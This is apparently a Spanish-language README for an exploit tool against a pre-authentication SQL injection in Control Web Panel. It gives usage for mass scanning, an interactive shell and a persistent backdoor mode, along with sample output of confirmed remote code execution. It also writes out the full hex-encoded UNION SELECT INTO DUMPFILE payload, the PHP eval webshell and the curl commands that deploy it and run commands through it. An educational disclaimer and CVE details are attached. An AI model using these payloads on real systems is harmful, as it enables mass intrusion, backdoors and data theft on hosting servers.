
💉 Inyección SQL ciega → Exploit de RCE para Control Web Panel (CWP) ≤ 0.9.8.1224 — userRes POST → INTO DUMPFILE → cwpsvc shell
CVE-2026-57517 es una inyección SQL ciega crítica previa a la autenticación en Control Web Panel (CWP) versiones ≤ 0.9.8.1224. El parámetro userRes POST en el endpoint del panel de usuario no es sanitizado antes de ser insertado en una consulta SQL. Las consultas se ejecutan con privilegios root de MySQL — que posee el privilegio global FILE — permitiendo a los atacantes escribir archivos arbitrarios mediante INTO DUMPFILE.
La cadena de explotación típica despliega un webshell PHP en el directorio de logs de Roundcube accesible por web, logrando ejecución remota de código como la cuenta de servicio cwpsvc.
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt
# Objetivo único (detección automática de usuario)
python cve_2026_57517.py -t 192.168.1.100
# Objetivo único con usuario conocido
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc
# Escaneo masivo
python cve_2026_57517.py -f targets.txt -o live.txt
# Shell interactivo
python cve_2026_57517.py -t target.com --rce -u cwpsvc
# Backdoor persistente (sin limpieza automática)
python cve_2026_57517.py -t target.com --no-cleanup
-t, --target Host objetivo único
-f, --file Archivo con objetivos (uno por línea)
-u, --username Nombre de usuario de CWP (salta detección automática)
-o, --output Archivo de salida TXT en vivo
--json Archivo de informe JSON
--threads Trabajadores concurrentes (predeterminado: 20)
--timeout Tiempo de espera de solicitud en segundos (predeterminado: 15)
--no-cleanup Dejar shells en el objetivo
--rce Modo shell interactivo
-v, --verbose Salida detallada
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
CVE-2026-57517 | 5 objetivos | 20 hilos
Limpieza: sí
TXT en vivo: live.txt
────────────────────────────────────────────────────────────
✅ 192.168.10.100:2083 [rce_confirmed] 18.2s
User : admin
Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
RCE : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp-prod-01.example.com
whoami: cwpsvc
⚠️ 192.168.10.200:2083 [sqli_failed] 12.1s
User : cwpsvc
Error : SQL injection failed — target may be patched or path not writable
· 192.168.10.50:2083 [not_cwp] 2.3s
==================================================
RESUMEN DEL ESCANEO
==================================================
Total : 5
✅ RCE : 2
⚠️ SQLi Fail : 1
🔍 No User : 1
· Not CWP : 1
==================================================
$ python cve_2026_57517.py -t target.com --rce -u admin
CWP Interactive Shell — target.com
Type 'exit' to quit, 'cleanup' to remove shell
cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp$ hostname
cwp-prod-01
cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash
cwp$ exit
Paso 1 — Verificar que CWP es accesible en el puerto 2083
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'
Paso 2 — Validar nombre de usuario
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = el usuario existe
Paso 3 — Inyección SQL mediante userRes
El payload utiliza un UNION SELECT de 13 columnas con un shell PHP codificado en hexadecimal escrito mediante INTO DUMPFILE:
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# La herramienta maneja la codificación hexadecimal automáticamente. Equivalente manual:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'
curl -sk 'https://target.com:2083/admin/' \
-d "userRes=$PAYLOAD"
Paso 4 — Ejecutar comandos mediante webshell (puerto 2031)
El shell PHP desplegado lee comandos del encabezado HTTP C::
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# Codificar en base64: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)
curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)
🚨 SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS
Este software se proporciona únicamente con fines educativos e investigación de seguridad legítima. Está destinado a ser utilizado por:
- 🛡️ Profesionales de seguridad que realizan pruebas de penetración autorizadas
- 🏢 Organizaciones que auditan su propia infraestructura CWP
- 🔬 Investigadores que estudian técnicas de explotación de vulnerabilidades
- 🎓 Estudiantes que aprenden sobre seguridad de aplicaciones web
❌ NO puede usar este software para:
- Acceder a sistemas informáticos sin autorización explícita por escrito
- Comprometer, dañar o interrumpir sistemas que no posee
- Participar en actividad ilegal de cualquier tipo
⚖️ Aviso Legal
El acceso no autorizado a sistemas informáticos viola leyes que incluyen, pero no se limitan a:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Unión Europea: Directiva 2013/40/UE
- Reino Unido: Computer Misuse Act 1990
El(los) autor(es) NO ASUME(N) RESPONSABILIDAD alguna por cualquier mal uso, daño o consecuencia legal derivada del uso de esta herramienta. Al usar este software, usted reconoce que es el único responsable de sus acciones y acepta cumplir con todas las leyes aplicables.
⚡ Construido para investigación y educación en seguridad ⚡
Este proyecto no está afiliado a Control Web Panel ni a la Apache Software Foundation.
| Campo | Detalle |
|---|
| CVE | CVE-2026-57517 |
| CVSS | 9.8 (Crítico) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo | CWE-89 — Inyección SQL Ciega (Pre-Auth) |
| Afectado | Control Web Panel ≤ 0.9.8.1224 |
| Corregido | Versión 0.9.8.1225 |
| Divulgación | 1 de julio de 2026 |
| Investigador | Egidio Romano (Karma In Security) |
| PoC | Público — KIS-2026-12 |
| Componente | Valor |
|---|
| Columnas SQL | UNION SELECT de 13 columnas |
| Shell PHP | <?php eval(base64_decode($_SERVER['HTTP_C'])); ?> |
| Codificación hexadecimal | Literal hexadecimal 0x... de MySQL |
| Método de escritura | INTO DUMPFILE (escritura binaria exacta) |
| Ruta de destino | /usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php |
| Entrega de comandos | Encabezado HTTP C: con PHP codificado en base64 |
| Ejecutor de comandos | passthru(base64_decode('{cmd}')) |
| Recurso | Enlace |
|---|
| Aviso de Karma In Security | KIS-2026-12 |
| PoC Original | CVE-2026-57517.php |
| Divulgación Completa | SecLists |
| OpenCVE | CVE-2026-57517 |
| Changelog de CWP | control-webpanel.com |